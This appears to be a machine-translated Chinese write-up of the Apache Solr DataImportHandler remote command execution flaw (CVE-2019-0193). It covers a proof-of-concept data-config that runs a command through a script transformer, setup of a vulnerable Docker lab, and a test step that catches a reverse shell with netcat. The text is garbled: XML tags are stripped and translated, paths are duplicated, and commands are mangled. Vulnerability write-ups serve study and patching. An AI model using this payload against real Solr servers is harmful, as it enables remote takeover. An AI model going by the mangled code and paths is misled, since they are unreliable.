Apache Solr 远程命令执行漏洞
2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重。漏洞危害评级为严重。此次漏洞出现在apache solr的dataimporthandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能
360cert判断漏洞等级为高,建议apache solr用户及时升级以防止攻击者攻击。
POC
12
3
4
5
6
7
8
9
10
11
12
13
14
15
Dataconfig
脚本![cdata [
函数f1(row){
var run=java.lang.runtime.getRuntime()。exec('touch /tmp /success');
row.put('name','hello world!');
返回行;
}
]]/脚本
文档
实体名称='person'transformer='script:f1'query='select * from person'pk='id'
字段列='id'名称='id' /
字段列='名称='名称' /
/实体
/文档
/dataconfig
漏洞成因
:用户在solrconfig.xml文件中设置了dataimporthandler,开启了dataimport功能。
dataImporthandler模块允许用户自己包含脚本,来进行配置。
攻击者可以通过构造恶意的脚本交由转换器进行解析,在,solr解析的过程中并未对用户的输入做检查,可导致攻击者远程在solr服务器上执行命令。
环境搭建
solr部署
本环境采用码头部署拉图像:Docker Pull Solr: 8.1.1
:docker Run - Name Solr -D -P 8983:8983 -T Solr:8.1.1.1
访问http://ip:8983/,Apache Solr框架部署完毕

开启DataImportHandler插件
新建core:

单击添加核心,然后Solr系统报告错误。
:docker exec -it - 用户root solr /bin /bash,进入solr容器。
输入容器后,执行:
1
2
3
4
5
cp/opt/solr-8.1.1/server/solr/configsets/_default/conf/var/var/solr/data/new_core/new_core/new_core/
cp/opt/solr/dist/solr-dataimporthandler-8.1.1.1.jar/opt/opt/solr/server/solr-webapp/webapp/webapp/web-inf/lib
cp/opt/solr/dist/solr-dataimporthandler-extras-8.1.1.1.1.jar/opt/opt/solr/server/solr/solr webapp/webapp/webapp/web-inf/lib
cd/var/solr/data/new_core/conf/conf/
vim solrconfig.xml
DataImportHandler 插件配置
将下面的XML添加到solrconfig.xml中1
2
3
4
5
6
requestHandler名称='/dataimport'
class='org.apache.solr.handler.dataimport.dataimporthandler'
lst name='默认值'
str name='config'data-config.xml/str
/lst
/requestHandler
注意:XML格式必须遵循上述格式,否则将报告错误!
执行vim data-config.xml并将以下XML保存到文件:
1
2
3
4
5
6
7
8
9
Dataconfig
dataSource驱动程序='com.mysql.jdbc.driver'url='jdbc:mysql: //ip:3306/securityTest'user='und
文档
实体名称='person'query='select *从人'pk='id'
字段列='id'名称='id' /
字段列='名称='名称' /
/实体
/文档
/dataconfig
然后将mysql-connector-java-5.1.48.jar放入/opt/opt/solr/server/solr/solr-webapp/webapp/webapp/web-app/web-inf/lib文件夹中
重启 solr
然后重新启动solr:/opt/solr/bin/solr重新启动在这一点上,已经建立了脆弱性环境,成功结构的屏幕截图如下:

漏洞测试
访问管理页面
浏览器访问:http://ip3:8983/开启 Debug 模式
将POC复制为配置:

受害机器执行的命令可以在标记的地方更换。本文以篮板外壳为例。
开启监听
NC -LP 4567执行命令
单击使用此配置执行
如果执行成功,可以发现外壳已经成功反弹:
